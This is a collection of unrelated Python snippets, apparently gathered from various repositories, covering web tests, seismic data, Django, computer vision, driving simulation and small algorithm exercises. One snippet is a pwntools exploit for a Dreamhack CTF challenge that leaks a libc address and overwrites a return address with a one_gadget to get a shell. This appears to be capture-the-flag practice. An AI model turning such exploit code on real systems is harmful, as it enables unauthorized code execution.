pe=Class_name()    #object1
pe1=Class_name()   #object2

pe.reading()
pe.writing()

pe1.reading()
pe1.writing()
# methords : functions in class

# how to create a methods in  class

# self : instance keyword  important


import time

from POM.Pages.taskPage import taskPage
from selenium import webdriver
from selenium.webdriver.chrome.service import Service
from selenium.webdriver.common.by import By
import pytest
#from selenium import *

from Zeuz1.POM.Locators import locators
from Zeuz1.POM.Pages import taskPage

#from selenium.webdriver.support.ui import WebDriverWait
#from selenium.webdriver.support import expected_conditions as EC

class TestTask:
    @pytest.fixture()
    def test_setup(self):
        self.locator_obj = locators
        global driver
        self.driver = webdriver.Firefox(executable_path= self.locator_obj.locators.geckoDriver)

        self.driver.implicitly_wait(5)
        self.driver.maximize_window()
        self.driver.delete_all_cookies()

        yield
        self.driver.close()
        self.driver.quit()
        print("test completed")

    def test_task_for_Successful_statusMassage(self, test_setup):
        self.driver.get(self.locator_obj.locators.task_page_URL)

        self.taskPage_obj = taskPage(self.driver)

        randomText= self.taskPage_obj.taskpage.catch_randomText()
        print(randomText)
        self.taskPage_obj.taskpage.input_randomText_WE(randomText)
        self.taskPage_obj.taskpage.click_on_Verify_button()
        statusMassage = self.taskPage_obj.taskpage.status_Massage()

        if statusMassage == "You have successfully verified the text":
            assert True
        else:
            assert False


# -*- coding: utf-8 -*-
"""
Created on Thu Sep  6 08:41:59 2018

@author: jfarrugia
"""

from obspy import read_inventory, read, Stream
import sys
import tkinter as tk
from tkinter import filedialog
import matplotlib.pyplot as plt

class MarisString():
    def __init__(self):
        self.maris_inv = read_inventory(r'\\ONC-FILESERVER\redirect4\jfarrugia\Documents\GitHub\StationXML_NV\NV_MarisString_September2018.dataless')
        self.locations = ['W1', 'W2', 'W3']
        self.channels = ['HNE', 'HNN', 'HNZ']

    def write_xmls(self):
        for l in self.locations:
            for c in self.channels:
                self.maris_inv.select(location=l, channel=c).write('NV.KEMF.{}.{}_200.xml'.format(l, c), format='stationxml')

    def load_slarchive_mseed(self, starttime=None, endtime=None, station='KEMF', sr=200.0):
        """
        Accesses the Google Drive folder "slarchive\data2" for MSEED files from the Maris String.

        Instrument correction and some basic filtering is applied.
        """
        root = tk.Tk()
        root.withdraw()

        self.hne_mseed_paths = filedialog.askopenfilenames(initialdir=r'G:\Team Drives\ONC_Seismic_Data\slarchive\data2\2018\NV\KEMF\HNE.D',
                                                        title='Choose HNE files')
        self.hnn_mseed_paths = filedialog.askopenfilenames(initialdir=r'G:\Team Drives\ONC_Seismic_Data\slarchive\data2\2018\NV\KEMF\HNN.D',
                                                        title='Choose HNN files')
        self.hnz_mseed_paths = filedialog.askopenfilenames(initialdir=r'G:\Team Drives\ONC_Seismic_Data\slarchive\data2\2018\NV\KEMF\HNZ.D',
                                                        title='Choose HNZ files')

        self.st = Stream()
        for file in self.hne_mseed_paths:
            try:
                for tr in read(file, format='mseed'):
                    self.st.append(tr)

            except:
                print("Unexpected error on HNE load:", sys.exc_info())
                continue
        for file in self.hnn_mseed_paths:
            try:
                for tr in read(file, format='mseed'):
                    self.st.append(tr)

            except:
                print("Unexpected error on HNN load:", sys.exc_info())
                continue
        for file in self.hnz_mseed_paths:
            try:
                for tr in read(file, format='mseed'):
                    self.st.append(tr)

            except:
                print("Unexpected error on HNZ load:", sys.exc_info())
                continue

        for tr in self.st:
            if tr.stats.sampling_rate != sr:
                tr.stats.sampling_rate = sr
        self.onc_inv = read_inventory(r'\\ONC-FILESERVER\redirect4\jfarrugia\Documents\GitHub\ONC_StationXML\NV_StationXML.xml')
        self.st.remove_response(self.onc_inv, output='acc', pre_filt=(0.01, 0.1, 50, 100))
        return self.st


from django.db import models
from django.urls import reverse
from django.utils import timezone
from django.core.exceptions import ValidationError
from datetime import date
from django.contrib.auth.models import User
from ckeditor.fields import RichTextField
from ckeditor_uploader.fields import RichTextUploadingField

class Event(models.Model):
    title = models.CharField(max_length=150, blank=True, null=True)
    description = RichTextUploadingField(config_name='default', blank=True,
                                         null=True)
    date_posted = models.DateTimeField(default=timezone.now)
    start_time = models.DateTimeField()
    end_time = models.DateTimeField()
    author = models.ForeignKey(User, on_delete=models.CASCADE)

    def check_overlap(self, start_1, end_1, start_2, end_2):
        if start_2 == end_1 or end_2 == start_1:
            return False
        elif(start_2 >= start_1 and start_2 <= end_1) or (end_2 >= start_1 and
                                                          end_2 <= end_1):
            return True
        elif start_2 <= start_1 and end_2 >= end_1:
            return True

    def clean(self):
        if self.end_time <= self.start_time:
            raise ValidationError('End time must be after starting time')

        events = Event.objects.filter(start_time__date=date(self.start_time.year,
                                                           self.start_time.month,
                                                          self.start_time.day)).exclude(pk=self.pk)
        if events.exists():
            for event in events:
                if self.check_overlap(event.start_time, event.end_time,
                                      self.start_time, self.end_time):
                    raise ValidationError('There is an overlap with another \
                                          event: ' + str(event.title))

    def __str__(self):
        return self.title

    def get_absolute_url(self):
        return reverse('event-detail', kwargs={'pk': self.pk})


a = input("Digite uma frase: ").lower()

vogal = 0
espaco = 0

for x in a:
    if x == 'a' or x == 'e' or x == 'i' or x == 'o' or x == 'u':
        vogal += 1
    elif x == ' ':
        espaco += 1

print("Vogais: {}" .format(vogal))
print("Espacos: {}" .format(espaco))


from httpx import Response

from livedivulgador.twitch.exceptions import (
    InsufficientPermissions,
    InvalidCredentialsException,
    ObjectNotFoundException,
    TwitchException,
    UnexpectedResponseException,
)

def handle_response(response: Response) -> dict:
    """Return a json object otherwise raises an error
    Args:
            response (Response): HTTP response object
    Raises:
            InvalidCredentialsException: Credentials are invalid (401)
            InsufficientPermissions: User has insufficient permissions (403)
            ObjectNotFoundException: The object was not found (404)
            TwitchException: Miro specific exceptions (5xx)
            UnexpectedResponseException: For unexpected events raises unexpected response from server
    Returns:
            Dict: Dictionary object with the json response from the server
    """

    if is_2xx_status_code(response.status_code):
        return response.json()

    if response.status_code == 401:
        raise InvalidCredentialsException(response.status_code)

    if response.status_code == 403:
        raise InsufficientPermissions(response.status_code)

    if response.status_code == 404:
        raise ObjectNotFoundException(response.status_code)

    if is_5xx_status_code(response.status_code):
        raise TwitchException(response.status_code)

    raise UnexpectedResponseException(response.status_code)

def is_2xx_status_code(status_code: int) -> bool:
    return str(status_code).startswith("2")

def is_5xx_status_code(status_code: int) -> bool:
    return str(status_code).startswith("5")


#!/usr/bin/env python

import urwid
from urwid.container import WidgetContainerListContentsMixin

__all__ = [
    'SearchableWidgetWrapper',
]

class SearchableWidgetWrapper(urwid.WidgetWrap):
    """
    This class wrap a container and allow to focus on the looked field.
    The looked field is the first field that match the pressed key of
        the user
    """
    def __init__(self, wrapped_widget, looked_field=lambda x: x):
        """
        :param wrapped_widget: the container where the value will
            be look for
        :type wrapped_widget: ContainerListContentsMixin

        :param looked_field: function returning the lookable value
            for each item available in the wrapped_widget
        :type looked_field: function

        >>> items = ['abc','aab','aaa','bcd','bdd']
        >>> w = urwid.Pile(list(map(urwid.Text, items)))
        >>> sw = SearchableWidgetWrapper(w, lambda x: x.text)
        >>> sw.get_focus().text
        'abc'
        >>> silent=sw.keypress((40, 40), 'b'); sw.get_focus().text
        'bcd'
        >>> silent=sw.keypress((40, 40), 'b'); sw.get_focus().text
        'bcd'
        >>> silent=sw.keypress((40, 40), 'escape'); sw.get_focus().text
        'bcd'
        >>> silent=sw.keypress((40, 40), 'a'); sw.get_focus().text
        'abc'
        >>> silent=sw.keypress((40, 40), 'a'); sw.get_focus().text
        'aab'
        """
        super().__init__(wrapped_widget)
        if not isinstance(wrapped_widget, WidgetContainerListContentsMixin):
            raise ValueError("SearchableListBox must wrap "
                             "ContainerListContentsMixin, wrapped is {}".
                             format(type(wrapped_widget)))
        self.looked_field = looked_field
        self._search = ''

    def __getattr__(self, attr):
        return getattr(self._wrapped_widget, attr)

    def _set_search(self, new_search):
        """
        Update the search and the focus *only* if a field matches

        :param new_search: the new_searchable field
        :type new_search: str
        """
        # FIXME: see https://github.com/urwid/urwid/pull/201
        # for index in self._w:
        for index in self._w.__iter__():
            item = self._w[index]
            if self.looked_field(item).startswith(new_search):
                self._search = new_search
                self.set_focus(index)
                self._invalidate()
                break

    search = property(lambda self: self._search, _set_search, doc="""
    The looked string

    .. note:: this string is updated *only* if it matches
    """)

    def keypress(self, size, key):
        """
        Capture the key that may be used for searching item
        """
        key = super().keypress(size, key)
        if key is None:
            # Clear the search if key was used for something else
            self._search = ''
            return key
        if key == 'backspace':
            if self.search:
                self.search = self.search[:-1]
        elif len(key) == 1:
            self.search = self.search + key
        else:
            # Clear the search if key is not a character
            self._search = ''
            return key

def _test():
    import doctest
    doctest.testmod()

if __name__ == '__main__':
    _test()


import subprocess

import yaml

# Open the YAML file and load the contents
with open("hosts.yml", "r") as f:
    data = yaml.safe_load(f)

# Loop over each section and print its contents
for section, config in data.items():
    ssh_cmd = (
        f"ssh {config['user']}@{config['host']} 'apt show nvidia-jetpack|grep version'"
    )
    output = subprocess.check_output(ssh_cmd, shell=True).decode().strip()

    # Print the output of the command
    print(f"{config['host']} Jetpack version: {output}")


#!flask/bin/python
import os
import unittest

from flask import current_app
from sarpi import sarpi, db
from config import basedir

class BasicsTestCase(unittest.TestCase):
    """docstring for BasicsTestCase

    Se Comprueba que la app este creada y que este en modo de prueba(TESTING)

    """

    def setUp(self):
        sarpi.config['TESTING'] = True
        sarpi.config['SQLALCHEMY_DATABASE_URI'] = 'sqlite:///' + os.path.join(basedir, 'data-test.sqlite')

        self.app_context = sarpi.app_context()
        self.app_context.push()
        db.create_all()

    def tearDown(self):
        db.session.remove()
        db.drop_all()
        self.app_context.pop()

    def test_app_exists(self):
        self.assertFalse(current_app is None)

    def test_app_is_testing(self):
        self.assertTrue(current_app.config['TESTING'])


import spynnaker8 as p
from p8_integration_tests.base_test_case import BaseTestCase
from spynnaker8.utilities import neo_convertor

def do_run():
    p.setup(timestep=1, min_delay=1, max_delay=15)

    spiker = p.Population(1, p.SpikeSourceArray(spike_times=[[0]]),
                          label='inputSSA_1')

    if_pop = p.Population(2, p.IF_cond_exp(), label='pop_1')

    if_pop.record("spikes")
    if_pop.record("v")
    p.Projection(spiker, if_pop, p.OneToOneConnector(),
                 synapse_type=p.StaticSynapse(weight=5.0, delay=1),
                 receptor_type="excitatory", source=None, space=None)

    p.run(30)
    all1 = if_pop.get_data(["spikes", "v"])

    p.reset()
    p.run(30)
    all2 = if_pop.get_data(["spikes", "v"])

    p.end()

    return (all1, all2)

class TinyTest(BaseTestCase):
    def test_run(self):
        all1, all2 = do_run()
        spikes1 = neo_convertor.convert_spiketrains(
            all1.segments[0].spiketrains)
        spikes2 = neo_convertor.convert_spiketrains(
            all2.segments[1].spiketrains)
        self.assertEqual(spikes1.all(), spikes2.all())
        v1 = neo_convertor.convert_data(all1, name="v", run=0)
        v2 = neo_convertor.convert_data(all2, name="v", run=1)
        self.assertEqual(v1.all(), v2.all())

if __name__ == '__main__':
    all1, all2 = do_run()
    spikes1 = neo_convertor.convert_spiketrains(all1.segments[0].spiketrains)
    print(spikes1)
    spikes2 = neo_convertor.convert_spiketrains(all2.segments[1].spiketrains)
    print(spikes2)
    v1 = neo_convertor.convert_data(all1, name="v", run=0)
    print(v1)
    v2 = neo_convertor.convert_data(all2, name="v", run=1)
    print(v2)


import time

def findInFibWithMemo(n):
    if n == 1 and n == 2:
        return 1
    b = [None] * (n+1)
    b[1] = 1
    b[2] = 1
    for i in range(3, n+1):
        b[i] = b[i-1] + b[i-2]
    return b[n]

def findInFib(n):
    if n == 1 or n == 2:
        result = 1
    else:
        result = findInFib(n-1)+findInFib(n-2)
    return result

# DP
# 1000 -> 0.003sec
start = time.time()
print(findInFibWithMemo(1000))
print("DP -> time: ", str(time.time() - start))

# without DP
# 40 -> 30 seconds
# start = time.time()
# findInFib(40)
# print("Without DP -> time: ", str(time.time() - start))


import glob
import os
import sys
import time

try:
    sys.path.append(glob.glob('../carla/dist/carla-*%d.%d-%s.egg' % (
        sys.version_info.major,
        sys.version_info.minor,
        'win-amd64' if os.name == 'nt' else 'linux-x86_64'))[0])
except IndexError:
    pass

import carla
from agents.navigation.basic_agent import BasicAgent
from agents.navigation.controller import VehiclePIDController
from agents.navigation.global_route_planner import GlobalRoutePlanner
from agents.navigation.global_route_planner_dao import GlobalRoutePlannerDAO

import random

from carla import VehicleLightState as vls

import argparse
import logging
from numpy import random
from random import randrange

def main():

    #pygame.init()
    client = carla.Client('localhost', 2000)
    client.set_timeout(10.0)
    world = client.get_world()
    frame = None

    #Create WaypointMap
    amap = world.get_map()
    sampling_resolution = 2
    dao = GlobalRoutePlannerDAO(amap, sampling_resolution)
    grp = GlobalRoutePlanner(dao)
    grp.setup()
    spawn_points = world.get_map().get_spawn_points()

    #Spawn Cars on Waypoint

    model1 = random.choice(world.get_blueprint_library().filter('vehicle.bmw.*'))
    model2 = random.choice(world.get_blueprint_library().filter('vehicle.bmw.*'))

    spawn_points = world.get_map().get_spawn_points()
    spawn_point_numeric_value1 = randrange(250)
    print("Spawpoint 1: ")
    print(spawn_point_numeric_value1)
    spawn_point1 = spawn_points[spawn_point_numeric_value1]
    vehicle1 = world.try_spawn_actor(model1, spawn_point1)

    time.sleep(5)
    location1 = vehicle1.get_location()
    print(location1)
    print(vehicle1.id)

    spawn_point_numeric_value2 = randrange(250)
    print("Spawpoint 2: ")
    print(spawn_point_numeric_value2)
    spawn_point2 = spawn_points[spawn_point_numeric_value2]
    vehicle2 = world.try_spawn_actor(model2, spawn_point2)

    time.sleep(5)
    location2 = vehicle1.get_location()
    print(location2)
    print(vehicle2.id)

    #print path of vehicle 2

    a = carla.Location(spawn_point1.location)
    b = carla.Location(spawn_point2.location)
    w1 = grp.trace_route(a, b)

    i=0
    for w in w1:
        if i % 10 == 0:
            world.debug.draw_string(w[0].transform.location, 'O', draw_shadow=False,
            color=carla.Color(r=255, g=0, b=0), life_time=120.0,
            persistent_lines=True)
        else:
            world.debug.draw_string(w[0].transform.location, 'O', draw_shadow=False,
            color = carla.Color(r=0, g=0, b=255), life_time=1000.0,
            persistent_lines=True)
        i += 1

    #Start Car
    vehicle1.set_simulate_physics(True)
    driving_car = BasicAgent(vehicle1, target_speed=200)
    destiny = spawn_point2.location
    driving_car.set_destination((destiny.x, destiny.y, destiny.z))

    #vehicle1.set_autopilot(True)

    vehicle1_waypoint = amap.get_waypoint(vehicle1.get_location())
    vehicle2_waypoint = amap.get_waypoint(vehicle2.get_location())

    while vehicle2_waypoint != vehicle1_waypoint:
            world.tick()
            ts = world.wait_for_tick()
            vehicle1_waypoint = amap.get_waypoint(vehicle1.get_location())

            print("Vehicle 1 Waypoint: " + str(vehicle1_waypoint))
            print("Vehicle 2 Waypoint: " + str(vehicle2_waypoint))
            # Get control commands
            control_hero = driving_car.run_step()
            vehicle1.apply_control(control_hero)

                #if frame is not None:
                    #if ts.frame_count != frame + 1:
                        #logging.warning('frame skip!')
                        #print("frame skip!")

            frame = ts.frame_count

if __name__ == '__main__':

    try:
        main()
    except KeyboardInterrupt:
        pass
    finally:
        print('\ndone.')


from lib.config import get_config
from lib.utils import get_prop, get_int_prop, make_date

def orcid_api_url(path):
    return f"{get_config(['orcid', 'apiBaseURL'])}/{path}"

def raw_work_to_work(work_summary):
    # #
    # # Work Summary
    # # TODO: Why is it an array? We just take the first element
    # #
    # work_summary = get_prop(work, ["work-summary", 0], None)

    # ids = []
    # for work_id in get_prop(work_summary, ["external-ids", "external-id"], []):
    #     id_type = get_prop(work_id, ["external-id-type"], None)
    #     id_normalized = get_prop(work_id, ["external-id-normalized", "value"], None)
    #     id_url = get_prop(work_id, ["external-id-url", "value"], None)
    #     ids.append({"type": id_type, "value": id_normalized, "url": id_url})

    put_code = get_int_prop(work_summary, ["put-code"], None)

    created_at = get_int_prop(work_summary, ["created-date", "value"], None)

    updated_at = get_int_prop(work_summary, ["last-modified-date", "value"], None)

    # TODO: should also get the source app id
    source = get_prop(work_summary, ["source", "source-name", "value"], None)

    date = make_date(
        get_prop(work_summary, ["publication-date", "year", "value"]),
        get_prop(work_summary, ["publication-date", "month", "value"]),
        get_prop(work_summary, ["publication-date", "day", "value"]),
    )

    title = get_prop(work_summary, ["title", "title", "value"], None)

    journal = get_prop(work_summary, ["journal-title", "value"], None)

    work_type = get_prop(work_summary, ["type"], None)

    url = get_prop(work_summary, ["url", "value"], None)

    # Now for external ids
    external_ids = []
    for external_id in get_prop(work_summary, ["external-ids", "external-id"], []):
        id_type = get_prop(external_id, ["external-id-type"])
        id_value = get_prop(external_id, ["external-id-value"])
        id_url = get_prop(external_id, ["external-id-url", "value"])
        id_relationship = get_prop(external_id, ["external-id-relationship"])
        external_ids.append(
            {
                "type": id_type,
                "value": id_value,
                "url": id_url,
                "relationship": id_relationship,
            }
        )

    return {
        "putCode": put_code,
        "createdAt": created_at,
        "updatedAt": updated_at,
        "source": source,
        "title": title,
        "journal": journal,
        "date": date,
        "workType": work_type,
        "url": url,
        "externalIds": external_ids,
    }

def parse_date(date_string):
    date_parts = date_string.split("/")
    if len(date_parts) == 1:
        return {
            "year": {
                "value": date_parts[0]
            }
        }
    elif len(date_parts) == 2:
        return {
            "year": {
                "value": date_parts[0]
            },
            "month": {
                "value": date_parts[1].rjust(2, "0")
            }
        }
    elif len(date_parts) == 3:
        return {
            "year": {
                "value": date_parts[0]
            },
            "month": {
                "value": date_parts[1].rjust(2, "0")
            },
            "day": {
                "value": date_parts[2].rjust(2, "0")
            },
        }


#!/usr/bin/env python
#
# Setup prog for Certify certificate management utility

import sys
from distutils.core import setup

from certify import core
release_version=core.__version__

setup(
    name="certify",
    version=release_version,
    description='Utilities for handing automated Grid host certificates.',
    long_description='''Simple tools for automating grid host certificate application and renewal.''',
    license='GPL',
    author='John Hover, Jay Packard',
    author_email='jhover@bnl.gov, jpackard@bnl.gov',
    url='https://www.racf.bnl.gov/experiments/usatlas/griddev/',
    packages=[ 'certify',
               'certify.plugins'
              ],
    classifiers=[
          'Development Status :: 3 - Beta',
          'Environment :: Console',
          'Intended Audience :: System Administrators',
          'License :: OSI Approved :: GPL',
          'Operating System :: POSIX',
          'Programming Language :: Python',
          'Topic :: System Administration :: Management',
    ],
    scripts=[ 'scripts/certify',
             ],
    data_files=[ ('share/certify',
                      ['README.txt',
                       'NOTES.txt',
                       'LGPL.txt',
                        ]
                  ),
                  ('share/certify/config', ['config/certify.conf','config/hosts.conf']
                   ),
               ]
)


import face_recognition
import cv2
import numpy as np
import pandas as pd
import csv
import os
from datetime import datetime
import FolderScanner as fs

df = pd.DataFrame({
    'Name': [],
    'ID': []
})

def CsvFileCheck():
    try:
        now = datetime.now()
        current_date= now.strftime("%Y-%m-%d")
        df_data = pd.read_csv(current_date+' .csv')
        print(df_data)

    except:
        print("ERROR HANDLED")

def SaveFile():
    try:
        now = datetime.now()
        current_date= now.strftime("%Y-%m-%d")
        df.to_csv(current_date+' .csv', index=False)
    except:
        print("ERROR HANDLED")

folder_path = "E:\FYP\ImageData\CS"
files = fs.get_files_in_folder(folder_path)
fs.get_The_Student_Details(files)

known_faces_names = fs.StudentsData
load_images =  [face_recognition.load_image_file(x) for x in files]
known_face_encoding = [face_recognition.face_encodings(x)[0] for x in load_images]

CsvFileCheck()

video_capture = cv2.VideoCapture(0)

face_locations = []
face_encodings = []
s=True

while True:
    _,frame=video_capture.read()
    small_frame = cv2.resize(frame, (0,0), fx=0.25,fy=0.25)
    rgb_small_frame = small_frame[:,:,::-1]
    if s:
        face_locations = face_recognition.face_locations(rgb_small_frame)
        face_encodings = face_recognition.face_encodings(rgb_small_frame, face_locations)
        for face_encoding in face_encodings:
            matches = face_recognition.compare_faces (known_face_encoding, face_encoding)
            face_distance = face_recognition.face_distance (known_face_encoding, face_encoding)
            best_match_index = np.argmin (face_distance)
            if matches[best_match_index]:
                record = known_faces_names[best_match_index]
                record_exists = (df['Name'] == record['Name']) & (df['ID'] == record['ID'])
                if not record_exists.any():
                    df = df.append(record, ignore_index=True)
                    print("Record added to the DataFrame.")
        cv2.imshow("attendence system", frame)
        if cv2.waitKey(1) & 0xFF == ord('q'):
            break

SaveFile()
video_capture.release()
cv2.destroyAllWindows()


import argparse
import pandas as pd

from desidulate.fileio import read_csv, out_path
from desidulate.sidlib import set_sid_dtype, control_labels, unique_control_labels

parser = argparse.ArgumentParser(description='Index SSFs with waveforms')
parser.add_argument('ssffile', help='SSF file')
parser.add_argument('--max_clock', default=500000, type=int, help='include number of cycles')
parser.add_argument('--max_pr_speed', default=8, type=int, help='max pr_speed')

def main():
    args = parser.parse_args()
    df = set_sid_dtype(read_csv(args.ssffile, dtype=pd.Int64Dtype()))
    if not df.empty:
        df = df[(df.clock <= args.max_clock) & (df.pr_speed <= args.max_pr_speed)]
        df = control_labels(df)
        df = unique_control_labels(df)
        vols = df[df['vol'].notna()]['vol'].nunique()
        for labels, ssf_df in df.groupby('unique_control_labels'):
            if labels:
                ssf_df[['hashid', 'hashid_noclock']].drop_duplicates().to_csv(out_path(args.ssffile, '%u.%s.index_ssf.zst' % (vols, labels)), index=False)

if __name__ == '__main__':
    main()


# Get picture from NexiGo-Webcam N60 and detect the numbers of Lego Minifigures

import cv2
import time
from legodetector import LegoDetector
from global_setting import *

if __name__ == "__main__":

    cap = cv2.VideoCapture(0)

    if not cap.isOpened():
        print("Could not open camera")
        exit()

    detector = LegoDetector(model=detect_model_name, conf=detect_conf, lego_class_name=detect_class_name)

    while cap.isOpened():
        success, frame = cap.read()

        if success:
            picture = frame
            lego_people_num, result_image = detector.detect_lego_people(picture)
            cv2.imshow("Detect Lego with USB Camera", result_image)

            # Control the detection interval if needed
            if enable_detect_interval:
                time.sleep(detect_interval)

            if cv2.waitKey(1) & 0xFF == ord("q"):
                break
        else:
            break
    cv2.destroyAllWindows()
    cap.release()


import sys
sys.path.append("../../src")

from AlignTrainerBoth import AlignTrainerBoth

SRC="../../../data/kftt-data-1.0/data/orig/kyoto-dev.en"
TGT="../../../data/kftt-data-1.0/data/orig/kyoto-dev.ja"

VOC_SIZE=2000

arg_en = {
    "file": SRC,
    "vocab_size":VOC_SIZE,
    "voc":"../vocs/alignBoth.voc.en",
    "shrinking_rate": 0.75,
    "use_original_make_seed":True,
}
arg_ja = {
    "file": TGT,
    "vocab_size":VOC_SIZE,
    "voc":"../vocs/alignBoth.voc.ja",
    "shrinking_rate": 0.75,
    "use_original_make_seed":True,
}

Model = AlignTrainerBoth(arg_en,arg_ja)
#Model.train_align(alpha=0.01)
Model.train(alpha=0.01)


from pwn import *

r = remote('host1.dreamhack.games', 13343)
# r = process('./oneshot')
# lib = ELF('/lib/x86_64-linux-gnu/libc.so.6', checksec=False)
lib = ELF('./libc.so.6', checksec=False)

leak = int(r.readline().split()[1], 16)

lib_stdout = lib.sym['_IO_2_1_stdout_']

lib_base = leak-lib_stdout
one_gadget = 0x45216

p = b'A' * 24
p += p64(0x00) * 2
p += p64(lib_base+one_gadget)

r.recvuntil('MSG: ')

r.sendline(p)

r.interactive()


"""
공주님의 정원
https://www.acmicpc.net/problem/2457

이중 for문은 시간복잡도 n^2으로 실패 ..

고려할 것:
1. 지금 꽃의 피는 날이 이전에 심은 꽃의 지는 날 이전 or 같은 날인가
2. 위 조건에 해당하는 꽃들의 지는 날짜가 가장 마지막인 꽃 고르기

처음엔 꽃피는 날에 따라 조건 달 거라서 피는 날 기준으로 정렬
while문으로 반복하면서 꽃 하나하나 검사
지금 꽃의 피는 날이 이전 꽃 지는 날 전이거나 같은 날이면 일단 temp에 담음
-> 반복문 돌다 보면 이 조건에 해당하지 않는 원소 나옴
그때 temp의 원소들을 지는 날 기준으로 정렬하면 temp[-1]이 가장 나중에 지는 꽃임.
temp[-1]을 garden에 담고 i는 플러스하지 않고 while문 continue해서 그 원소부터 검사함

"""
N = int(input())
periods = [list(map(int, input().split())) for _ in range(N)]
garden=[[1, 1, 3, 1]] # 꽃 골라담기 리스트

periods.sort(key=lambda x: [x[0], x[1]])

i = 0
temp = []
while(i < N):
  # 마지막 심은 꽃의 지는 날이 이미 12월일 경우
  if garden[-1][2] == 12:
    break

  # 지금 꽃의 피는 날이 이전 꽃의 지는 날 이전 or 같은 날인가
  if periods[i][0] < garden[-1][2] or (periods[i][0]==garden[-1][2] and periods[i][1] <= garden[-1][3]):
    temp.append(periods[i])
  # 위 조건에 해당하지 않는 꽃 등장하면 이제까지 temp에 모은 꽃 중 지는날 정렬
  else:
    if temp:
      temp.sort(key=lambda x: [x[2], x[3]])
      garden.append(temp[-1]) # 가장 나중에 지는 꽃 garden에 추가
      temp = []
      continue # 현재 원소부터 다시 검사
    else:
      garden=[[1, 1, 3, 1]] #초기화
      break

  # 마지막 원소까지 왔을 때 지는 날이 12월에 도달했는지 고려
  if i == N-1 and temp:
    temp.sort(key=lambda x:[x[2], x[3]])
    if temp[-1][2] == 12:  # 지는 날이 12월이면 꽃 고르기
      garden.append(temp[-1])
    else:                  # 아니면 꽃 고르기 실패
      garden=[[1, 1, 3, 1]] #초기화
      break

  i+=1

print(len(garden)-1)

"""
--시간초과 오답--

for _ in range(len(periods)):
  temp = []
  for period in periods:
    # 이번 꽃 피는 날짜가 이전 꽃 지는 날의 '이전 월'이거나 '같은 월이면서 일자가 전'인 경우
    if period[0] < garden[-1][2] or (period[0] == garden[-1][2] and period[1] <= garden[-1][3]):
      temp.append(period) #일단 조건에 해당하는거 temp에 다 담음

  # 고려할 것.. temp에 들어있다는 건 피는 날짜가 범위에 잘 들어와 있다는 것임!! 지는 날이 가장 나중인 걸 선택해야 함.
  if temp:
    garden.append(sorted(temp, key=lambda x:[x[2], x[3]])[-1])

  else:
    garden = [[1, 1, 3, 1]] #초기화
    break

  if garden[-1][2] == 12: break
 """


## author: xin luo
## creat: 2022.3.16; modify: 2022.4.4
## des: layer stacking for remote sensing images
## usage(command line): python lay_stack.py path_imgs path_out

from osgeo import gdal
from osgeo import osr
import numpy as np
import argparse

def get_args():

    """ Get command-line arguments. """
    parser = argparse.ArgumentParser(
            description='layer stacking for remote sensing images')
    parser.add_argument(
            'path_imgs', metavar='path_imgs', type=str, nargs='*',
            help='contains the paths of bands/imgs to be stacked')
    parser.add_argument(
            'path_out', metavar='path_out', type=str, nargs='+',
            help='the output path of the layer stacked image')
    parser.add_argument(
            '--union',
            choices=('True','False'),
            default='True')
    parser.add_argument(
            '--resolution', type=int, nargs=1,
            help='resolution of the output image',
            default=[None])
    return parser.parse_args()

def lay_stack(path_imgs, path_out, union=True, res=None):
    '''
    input:
    path_imgs: list, contains the paths of bands/imgs to be stacked
    path_out: str, the output path of the layer stacked image
    union: bool, if true, the output extent is the extents union of input images.
            otherwise, the output extent is the extents intersection of input images.
    res: resolution of the layer stacked image.
    note: the first image in the path_imgs is the reference image.
    '''

    ## base image
    left_min, right_min, bottom_min, up_min = float("inf"), float("inf"), float("inf"), float("inf")
    left_max, right_max, bottom_max, up_max = -float("inf"), -float("inf"), -float("inf"), -float("inf")
    for i, path_img in enumerate(path_imgs):
        img = gdal.Open(path_img, gdal.GA_ReadOnly)
        if i == 0:
            base_proj = img.GetProjection()
        im_geotrans = img.GetGeoTransform()
        im_x = img.RasterXSize  #
        im_y = img.RasterYSize  #
        left = im_geotrans[0]
        up = im_geotrans[3]
        right = left + im_geotrans[1] * im_x + im_geotrans[2] * im_y
        bottom = up + im_geotrans[5] * im_y + im_geotrans[4] * im_x
        if left_min > left: left_min = left;
        if right_min > right: right_min = right
        if up_min > up: up_min = up
        if bottom_min > bottom: bottom_min = bottom
        if left_max < left: left_max = left
        if right_max < right: right_max = right
        if up_max < up: up_max = up
        if bottom_max < bottom: bottom_max = bottom
    if union == True:
        extent = [left_min, right_max, up_max, bottom_min]
    else:
        extent = [left_max, right_min, up_min, bottom_max]

    if res is not None:
        dx, dy = res, -res
    else:
        dx, dy = im_geotrans[1], im_geotrans[5]

    base_x = int(np.round((extent[1] - extent[0]) / float(dx)))  # new col, integer
    base_y = int(np.round((extent[3] - extent[2]) / float(dy)))  # new row, integer
    base_dx = (extent[1] - extent[0]) / float(base_x) #update dx and dy, may be a little bias with the original dx and dy.
    base_dy = (extent[3] - extent[2]) / float(base_y)
    base_geotrans = (extent[0], base_dx, 0.0, extent[2], 0.0, base_dy)

    ## layer stacking
    base_n = 0
    for i_img, path_stack in enumerate(path_imgs):
        ## image to be layer stacked
        stack_img = gdal.Open(path_stack)
        stack_Proj = stack_img.GetProjection()
        stack_n = stack_img.RasterCount

        ## align image to the base image
        driver= gdal.GetDriverByName('GTiff')
        stack_align = driver.Create(path_out, base_x, base_y, stack_n, gdal.GDT_Float32)
        stack_align.SetGeoTransform(base_geotrans)
        stack_align.SetProjection(base_proj)
        gdal.ReprojectImage(stack_img, stack_align, stack_Proj, base_proj, gdal.GRA_Bilinear)

        ## layer stacking
        n_bands = base_n+stack_n
        img_stack = driver.Create(path_out, base_x, base_y, n_bands, gdal.GDT_Float32)

        if(img_stack!= None):
            img_stack.SetGeoTransform(base_geotrans)       #
            img_stack.SetProjection(base_proj)      #

        for i_band in range(base_n):
            img_stack.GetRasterBand(i_band+1).WriteArray(base_img.GetRasterBand(i_band+1).ReadAsArray())
        for i_band in range(stack_n):
            img_stack.GetRasterBand(base_n+i_band+1).WriteArray(stack_align.GetRasterBand(i_band+1).ReadAsArray())
        ## update base image
        base_n = n_bands
        base_img = img_stack
    print('Images layer stacking done.')
    del img_stack, base_img, stack_img

if __name__ == '__main__':

    # extract arguments
    args = get_args()
    path_imgs = args.path_imgs
    path_out = args.path_out[0]
    union = args.union
    res = args.resolution[0]
    lay_stack(path_imgs, path_out, union, res)


# 重要代码
# 功能：分割和跟踪的函数与函数接口
# 状态：已完成

# import os
import cv2
from model_args import segtracker_args,sam_args,aot_args
# from PIL import Image
# from aot_tracker import _palette
import numpy as np
import torch
# import imageio
